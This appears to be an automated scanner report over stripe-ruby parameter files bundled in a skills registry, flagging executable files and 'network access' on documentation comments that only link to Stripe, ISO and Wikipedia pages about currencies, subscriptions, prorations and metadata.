packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/setup_intent_verify_microdeposits_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 55
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 57
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 74
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 78
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/shipping_rate_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 18
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 31
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/sigma/scheduled_query_run_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/sigma/scheduled_query_run_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 94
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 102
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 192
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 200
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 250
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. - Network accessline 276
# The `type` of the source to create. Required unless `customer` and `original_source` are specified (see the [Cloning card Sources](https://docs.stripe.com/sources/connect#cloning-card-sources) guide)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_detach_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_retrieve_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_transaction_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 94
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 102
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 174
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 182
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 236
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/source_verify_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 58
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 60
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 62
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 85
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 91
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 233
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 268
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 270
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 274
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 301
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 307
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 311
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 385
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 522
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 580
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 586
# A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). The anchor is the reference point that aligns future billing cycle dates. It sets the day of week for `wee - Network accessline 600
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 608
# ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de - Network accessline 610
# ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I - Network accessline 624
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 630
# Only applies to subscriptions with `collection_method=charge_automatically`. # # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status a - Network accessline 631
# # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a - Network accessline 632
# Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a subsc - Network accessline 633
# # Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent - Network accessline 634
# Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent on th - Network accessline 635
# # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer - Network accessline 636
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer action - Network accessline 644
# Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval. - Network accessline 646
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is passed, the default is `create_prorations`. - Network accessline 650
# Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan the customer is being subscribed to. The special v - Network accessline 652
# Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U - Network accessline 654
# Integer representing the number of trial period days before the customer is charged for the first time. This will always overwrite any trials that might apply via a subscribed plan. See [Using trial periods on subscriptions](https://docs.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_delete_discount_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 42
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 44
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 48
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 77
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 79
# Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam - Network accessline 80
# # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user - Network accessline 81
# Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio - Network accessline 82
# # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi - Network accessline 83
# Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd - Network accessline 85
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede - Network accessline 91
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 93
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 95
# If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic - Network accessline 101
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_delete_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 10
# If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_item_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 7
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 42
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 44
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 48
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 77
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 81
# Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam - Network accessline 82
# # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user - Network accessline 83
# Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio - Network accessline 84
# # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi - Network accessline 85
# Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd - Network accessline 87
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede - Network accessline 93
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 95
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 97
# If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic - Network accessline 101
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_list_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_migrate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_resume_params.rb
- Executable scriptline 1
Executable file - Network accessline 6
# The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions/billing-c - Network accessline 10
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor` being `unchanged`. When the `billing_cycle_anchor` is set to `now` (default value), no prorations ar - Network accessline 12
# If set, prorations will be calculated as though the subscription was resumed at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 99
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 103
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 198
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 200
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 202
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 225
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 231
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 347
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 382
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 384
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 388
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 415
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k - Network accessline 421
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 425
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 462
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 466
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 472
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 476
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w - Network accessline 490
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex - Network accessline 494
# Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re - Network accessline 563
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_release_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_schedule_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 79
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 83
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 178
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 180
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 182
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 205
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 211
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 327
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 362
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 364
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 368
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 395
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k - Network accessline 401
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 405
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 442
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 446
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 452
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 456
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w - Network accessline 470
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex - Network accessline 474
# Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re - Network accessline 539
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_search_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/subscription_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 58
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 60
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 62
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 85
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 91
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 204
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 239
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 241
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 245
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 278
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 284
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 288
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 380
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 517
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 575
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 579
# Either `now` or `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to the current time (in UTC). For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions - Network accessline 593
# ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de - Network accessline 595
# ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I - Network accessline 609
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 615
# If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip - Network accessline 617
# Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam - Network accessline 618
# # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user - Network accessline 619
# Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio - Network accessline 620
# # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi - Network accessline 621
# Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd - Network accessline 623
# Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede - Network accessline 627
# Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval. - Network accessline 629
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 631
